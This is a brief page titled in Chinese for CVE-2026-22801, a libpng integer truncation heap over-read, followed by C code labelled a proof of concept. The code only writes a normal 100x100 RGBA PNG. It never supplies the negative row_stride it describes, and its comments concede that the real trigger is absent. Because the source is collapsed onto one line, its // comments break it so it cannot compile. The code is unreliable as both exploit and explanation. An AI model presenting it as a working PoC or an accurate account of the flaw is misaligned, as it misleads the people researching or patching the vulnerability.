CVE-2026-22801 libpng整数截断导致堆缓冲区越界读取漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <png.h> // PoC for CVE-2026-22801: libpng integer truncation in png_write_image_* // This demonstrates triggering heap buffer over-read with negative row_stride void create_malicious_png() { png_structp png_ptr; png_infop info_ptr; FILE *fp; // Create PNG with abnormal dimensions to trigger the vulnerability int width = 100; int height = 100; // Allocate image data png_bytep row = (png_bytep)malloc(width * 4); // 32-bit RGBA // Initialize row data memset(row, 0x41, width * 4); fp = fopen("poc.png", "wb"); if (!fp) { free(row); return; } png_ptr = png_create_write_struct(PNG_LIBPNG_VER_STRING, NULL, NULL, NULL); if (!png_ptr) { fclose(fp); free(row); return; } info_ptr = png_create_info_struct(png_ptr); if (!info_ptr) { png_destroy_write_struct(&png_ptr, NULL); fclose(fp); free(row); return; } png_init_io(png_ptr, fp); png_set_IHDR(png_ptr, info_ptr, width, height, 8, PNG_COLOR_TYPE_RGB_ALPHA, PNG_INTERLACE_NONE, PNG_COMPRESSION_TYPE_DEFAULT, PNG_FILTER_TYPE_DEFAULT); png_write_info(png_ptr, info_ptr); // Vulnerability trigger: Pass negative row_stride (interpreted as large positive) // In real attack scenario, this would be done through custom libpng usage // The actual trigger requires modifying libpng or using specific image configurations for (int y = 0; y < height; y++) { png_write_row(png_ptr, row); } png_write_end(png_ptr, info_ptr); png_destroy_write_struct(&png_ptr, &info_ptr); fclose(fp); free(row); printf("PoC PNG created: poc.png\n"); printf("Note: Actual trigger requires specific row_stride configuration\n"); } int main() { printf("CVE-2026-22801 PoC - libpng Integer Truncation\n"); printf("Affected: libpng 1.6.26 to 1.6.53\n"); create_malicious_png(); return 0; }